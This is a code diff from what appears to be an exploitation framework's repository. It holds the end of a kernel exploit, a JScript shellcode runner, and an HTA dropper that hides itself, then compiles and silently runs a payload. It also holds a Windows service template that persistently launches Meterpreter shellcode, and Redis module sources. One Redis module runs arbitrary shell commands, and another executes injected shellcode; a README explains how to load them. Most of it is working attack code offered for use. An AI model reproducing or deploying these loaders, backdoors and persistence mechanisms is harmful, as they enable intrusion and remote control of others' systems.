printf("[*] Resolving kernel addresses...\n");
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
Xill_ptr = (uintptr_t)get_symaddr("Xill");
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
// doeet!
trigger();
return 0;
}
-77
View File
@@ -1,77 +0,0 @@
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
function InvokeWin32(dllName:String, returnType:Type,
methodName:String, parameterTypes:Type[], parameters:Object[])
{
// Begin to build the dynamic assembly
var domain = AppDomain.CurrentDomain;
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
var module = assembly.DefineDynamicModule('PInvokeModule');
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
// Define the actual P/Invoke method
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
// Apply the P/Invoke constructor
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
method.SetCustomAttribute(attr);
// Create the temporary type, and invoke the method.
var realType = type.CreateType();
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
}
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
}
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
}
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
var parameters:Object[] = [handle, dwMiliseconds ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
}
function ShellCodeExec()
{
var MEM_COMMIT:uint = 0x1000;
var PAGE_EXECUTE_READWRITE:uint = 0x40;
var shellcodestr:String = '<%= file_payload %>'
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
var hThread:IntPtr = IntPtr.Zero;
var threadId:UInt32 = 0;
// prepare data
var pinfo:IntPtr = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
try{
ShellCodeExec();
}catch(e){}
-151
View File
@@ -1,151 +0,0 @@
<html>
<head>
<HTA:APPLICATION WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
</head>
</html>
<script>
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
// Base64 implementation found on http://www.webtoolkit.info/javascript-base64.html
// variable names changed to make obfuscation easier
var Base64 = {
// private property
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
_utf8_decode : function (utftext) {
var string = "";
var input_idx = 0;
var chr1 = 0;
var chr2 = 0;
var chr3 = 0;
while ( input_idx < utftext.length ) {
chr1 = utftext.charCodeAt(input_idx);
if (chr1 < 128) {
string += String.fromCharCode(chr1);
input_idx++;
}
else if((chr1 > 191) && (chr1 < 224)) {
chr2 = utftext.charCodeAt(input_idx+1);
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
input_idx += 2;
} else {
chr2 = utftext.charCodeAt(input_idx+1);
chr3 = utftext.charCodeAt(input_idx+2);
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
input_idx += 3;
}
}
return string;
}
};
decodedStr = Base64.decode("<%= jsnet_encoded %>");
function getTempPath()
{
var TemporaryFolder = 2;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tempPath = fso.GetSpecialFolder(TemporaryFolder);
return tempPath;
}
var path = getTempPath();
function makefile()
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var thefile = fso.CreateTextFile(path + "\\\\<%= fname %>.js", true);
thefile.WriteLine(decodedStr);
thefile.Close();
}
makefile();
function findJSC()
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
var jscPath = "";
if(!fso.FolderExists(comPath))
{
return false;
}
var frameFolder = fso.GetFolder(comPath);
var fEnum = new Enumerator(frameFolder.SubFolders);
while(!fEnum.atEnd())
{
jscPath = fEnum.item().Path;
if(fso.FileExists(jscPath + "\\\\jsc.exe"))
{
return jscPath + "\\\\jsc.exe";
}
fEnum.moveNext();
}
return false;
}
var comPath = findJSC();
if(comPath)
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var objShell = new ActiveXObject("WScript.shell");
var js_f = path + "\\\\<%= fname %>.js";
var ex = path + "\\\\<%= fname %>.exe";
var platform = "/platform:<%= arch %>";
objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0);
while(!fso.FileExists(ex)) { }
objShell.run(ex, 0);
}
</script>
Binary file not shown.
Binary file not shown.
@@ -1,304 +0,0 @@
#include <String.h>
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#define SERVICE_NAME <%= @service_name.inspect %>
#define DISPLAY_NAME <%= @service_description.inspect %>
#define RETRY_TIME <%= @retry_time %>
//
// Globals
//
SERVICE_STATUS status;
SERVICE_STATUS_HANDLE hStatus;
//
// Meterpreter connect back to host
//
void start_meterpreter()
{
// Your meterpreter shell here
<%= buf %>
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(buffer,buf,sizeof(buf));
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
WaitForSingleObject(hThread, -1); //INFINITE
CloseHandle(hThread);
}
//
// Call self without parameter to start meterpreter
//
void self_call()
{
char path[MAX_PATH];
char cmd[MAX_PATH];
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
// Get module file name failed
return;
}
STARTUPINFO startup_info;
PROCESS_INFORMATION process_information;
ZeroMemory(&startup_info, sizeof(startup_info));
startup_info.cb = sizeof(startup_info);
ZeroMemory(&process_information, sizeof(process_information));
// If create process failed.
// CREATE_NO_WINDOW = 0x08000000
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
NULL, &startup_info, &process_information) == 0)
{
return;
}
// Wait until the process died.
WaitForSingleObject(process_information.hProcess, -1);
}
//
// Process control requests from the Service Control Manager
//
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
{
switch (fdwControl) {
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_RUNNING;
break;
default:
break;
}
if (SetServiceStatus(hStatus, &status) == 0) {
//printf("Cannot set service status (0x%08x)", GetLastError());
exit(1);
}
return;
}
//
// Main function of service
//
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
{
// Register the service handler
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
if (hStatus == 0) {
//printf("Cannot register service handler (0x%08x)", GetLastError());
exit(1);
}
// Initialize the service status structure
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
status.dwCurrentState = SERVICE_RUNNING;
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
status.dwWin32ExitCode = 0;
status.dwServiceSpecificExitCode = 0;
status.dwCheckPoint = 0;
status.dwWaitHint = 0;
if (SetServiceStatus(hStatus, &status) == 0) {
//printf("Cannot set service status (0x%08x)", GetLastError());
return;
}
// Start the Meterpreter
while (status.dwCurrentState == SERVICE_RUNNING) {
self_call();
Sleep(RETRY_TIME);
}
return;
}
//
// Installs and starts the Meterpreter service
//
BOOL install_service()
{
SC_HANDLE hSCManager;
SC_HANDLE hService;
char path[MAX_PATH];
// Get the current module name
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
//printf("Cannot get module name (0x%08x)", GetLastError());
return FALSE;
}
// Build the service command line
char cmd[MAX_PATH];
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
if (total_len < 0 || total_len >= sizeof(cmd)){
//printf("Cannot build service command line (0x%08x)", -1);
return FALSE;
}
cmd[0] = '\0';
strcat(cmd, "\"");
strcat(cmd, path);
strcat(cmd, "\" <%= @start_cmd %>");
// Open the service manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL) {
//printf("Cannot open service manager (0x%08x)", GetLastError());
return FALSE;
}
// Create the service
hService = CreateService(
hSCManager,
SERVICE_NAME,
DISPLAY_NAME,
0xf01ff, // SERVICE_ALL_ACCESS
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
cmd,
NULL,
NULL,
NULL,
NULL, /* LocalSystem account */
NULL
);
if (hService == NULL) {
//printf("Cannot create service (0x%08x)", GetLastError());
CloseServiceHandle(hSCManager);
return FALSE;
}
// Start the service
char* args[] = { path, "service" };
if (StartService(hService, 2, (const char**)&args) == 0) {
DWORD err = GetLastError();
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
{
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return FALSE;
}
}
// Cleanup
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
//printf("Service %s successfully installed.", SERVICE_NAME);
return TRUE;
}
//
// Start the service
//
void start_service()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{ SERVICE_NAME, &ServiceMain },
{ NULL, NULL }
};
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
exit(1);
}
}
//
// Main function
//
int main()
{
// Parse the command line argument.
// For now, int main(int argc, char *argv) is buggy with metasm.
// So we choose this approach to achieve it.
LPTSTR cmdline;
cmdline = GetCommandLine();
char *argv[MAX_PATH];
char * ch = strtok(cmdline," ");
int argc = 0;
while (ch != NULL)
{
argv[argc] = malloc( strlen(ch)+1) ;
strncpy(argv[argc], ch, strlen(ch)+1);
ch = strtok (NULL, " ");
argc++;
}
if (argc > 1) {
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
// Installs and starts the service
install_service();
return 0;
}
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
// Starts the Meterpreter as a service
start_service();
return 0;
}
}
// Starts the Meterpreter as a normal application
start_meterpreter();
return 0;
}
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=./
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=./rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil module.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
module.so: module.o
$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=../rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil exp.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
exp.so: exp.o
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+47
View File
@@ -0,0 +1,47 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "shell.exec",
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
BIN
View File
Binary file not shown.
+23
View File
@@ -0,0 +1,23 @@
## Intro
This is a compiled shared object file of redis module.
## Load redis extension
```
MODULE load ./exp.so
```
## Run command
```
redis-cli
127.0.0.1:6379> shell.exec "whoami"
```
## Compile
You can modify the exp.c source code if you want.
And the compile it to exp.so in current directory.
```
make
```
+38
View File
@@ -0,0 +1,38 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
pid_t child_pid = fork();
if (child_pid == 0)
{
// Your meterpreter shell here
<%= buf %>
int (*ret)() = (int(*)())buf;
ret();
}
else
{wait(NULL);}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
+509
View File
@@ -0,0 +1,509 @@
#ifndef REDISMODULE_H
#define REDISMODULE_H
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
/* ---------------- Defines common between core and modules --------------- */
/* Error status return values. */
#define REDISMODULE_OK 0
#define REDISMODULE_ERR 1
/* API versions. */
#define REDISMODULE_APIVER_1 1
/* API flags and constants */
#define REDISMODULE_READ (1<<0)
#define REDISMODULE_WRITE (1<<1)
#define REDISMODULE_LIST_HEAD 0
#define REDISMODULE_LIST_TAIL 1
/* Key types. */
#define REDISMODULE_KEYTYPE_EMPTY 0
#define REDISMODULE_KEYTYPE_STRING 1
#define REDISMODULE_KEYTYPE_LIST 2
#define REDISMODULE_KEYTYPE_HASH 3
#define REDISMODULE_KEYTYPE_SET 4
#define REDISMODULE_KEYTYPE_ZSET 5
#define REDISMODULE_KEYTYPE_MODULE 6
/* Reply types. */
#define REDISMODULE_REPLY_UNKNOWN -1
#define REDISMODULE_REPLY_STRING 0
#define REDISMODULE_REPLY_ERROR 1
#define REDISMODULE_REPLY_INTEGER 2
#define REDISMODULE_REPLY_ARRAY 3
#define REDISMODULE_REPLY_NULL 4
/* Postponed array length. */
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
/* Expire */
#define REDISMODULE_NO_EXPIRE -1
/* Sorted set API flags. */
#define REDISMODULE_ZADD_XX (1<<0)
#define REDISMODULE_ZADD_NX (1<<1)
#define REDISMODULE_ZADD_ADDED (1<<2)
#define REDISMODULE_ZADD_UPDATED (1<<3)
#define REDISMODULE_ZADD_NOP (1<<4)
/* Hash API flags. */
#define REDISMODULE_HASH_NONE 0
#define REDISMODULE_HASH_NX (1<<0)
#define REDISMODULE_HASH_XX (1<<1)
#define REDISMODULE_HASH_CFIELDS (1<<2)
#define REDISMODULE_HASH_EXISTS (1<<3)
/* Context Flags: Info about the current context returned by
* RM_GetContextFlags(). */
/* The command is running in the context of a Lua script */
#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
/* The command is running inside a Redis transaction */
#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
/* The instance is a master */
#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
/* The instance is a slave */
#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
/* The instance is read-only (usually meaning it's a slave as well) */
#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
/* The instance is running in cluster mode */
#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
/* The instance has AOF enabled */
#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
/* The instance has RDB enabled */
#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
/* The instance has Maxmemory set */
#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
/* Maxmemory is set and has an eviction policy that may delete keys */
#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
/* Redis is out of memory according to the maxmemory flag. */
#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
/* Less than 25% of memory available according to maxmemory. */
#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
#define REDISMODULE_NOTIFY_STREAM (1<<10) /* t */
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM) /* A */
/* A special pointer that we can use between the core and the module to signal
* field deletion, and that is impossible to be a valid pointer. */
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
/* Error messages. */
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
/* Cluster API defines. */
#define REDISMODULE_NODE_ID_LEN 40
#define REDISMODULE_NODE_MYSELF (1<<0)
#define REDISMODULE_NODE_MASTER (1<<1)
#define REDISMODULE_NODE_SLAVE (1<<2)
#define REDISMODULE_NODE_PFAIL (1<<3)
#define REDISMODULE_NODE_FAIL (1<<4)
#define REDISMODULE_NODE_NOFAILOVER (1<<5)
#define REDISMODULE_CLUSTER_FLAG_NONE 0
#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
#define REDISMODULE_NOT_USED(V) ((void) V)
/* This type represents a timer handle, and is returned when a timer is
* registered and used in order to invalidate a timer. It's just a 64 bit
* number, because this is how each timer is represented inside the radix tree
* of timers that are going to expire, sorted by expire time. */
typedef uint64_t RedisModuleTimerID;
/* ------------------------- End of common defines ------------------------ */
#ifndef REDISMODULE_CORE
typedef long long mstime_t;
/* Incomplete structures for compiler checks but opaque access. */
typedef struct RedisModuleCtx RedisModuleCtx;
typedef struct RedisModuleKey RedisModuleKey;
typedef struct RedisModuleString RedisModuleString;
typedef struct RedisModuleCallReply RedisModuleCallReply;
typedef struct RedisModuleIO RedisModuleIO;
typedef struct RedisModuleType RedisModuleType;
typedef struct RedisModuleDigest RedisModuleDigest;
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
typedef struct RedisModuleDict RedisModuleDict;
typedef struct RedisModuleDictIter RedisModuleDictIter;
typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
typedef void (*RedisModuleTypeFreeFunc)(void *value);
typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
#define REDISMODULE_TYPE_METHOD_VERSION 1
typedef struct RedisModuleTypeMethods {
uint64_t version;
RedisModuleTypeLoadFunc rdb_load;
RedisModuleTypeSaveFunc rdb_save;
RedisModuleTypeRewriteFunc aof_rewrite;
RedisModuleTypeMemUsageFunc mem_usage;
RedisModuleTypeDigestFunc digest;
RedisModuleTypeFreeFunc free;
} RedisModuleTypeMethods;
#define REDISMODULE_GET_API(name) \
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
#define REDISMODULE_API_FUNC(x) (*x)
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
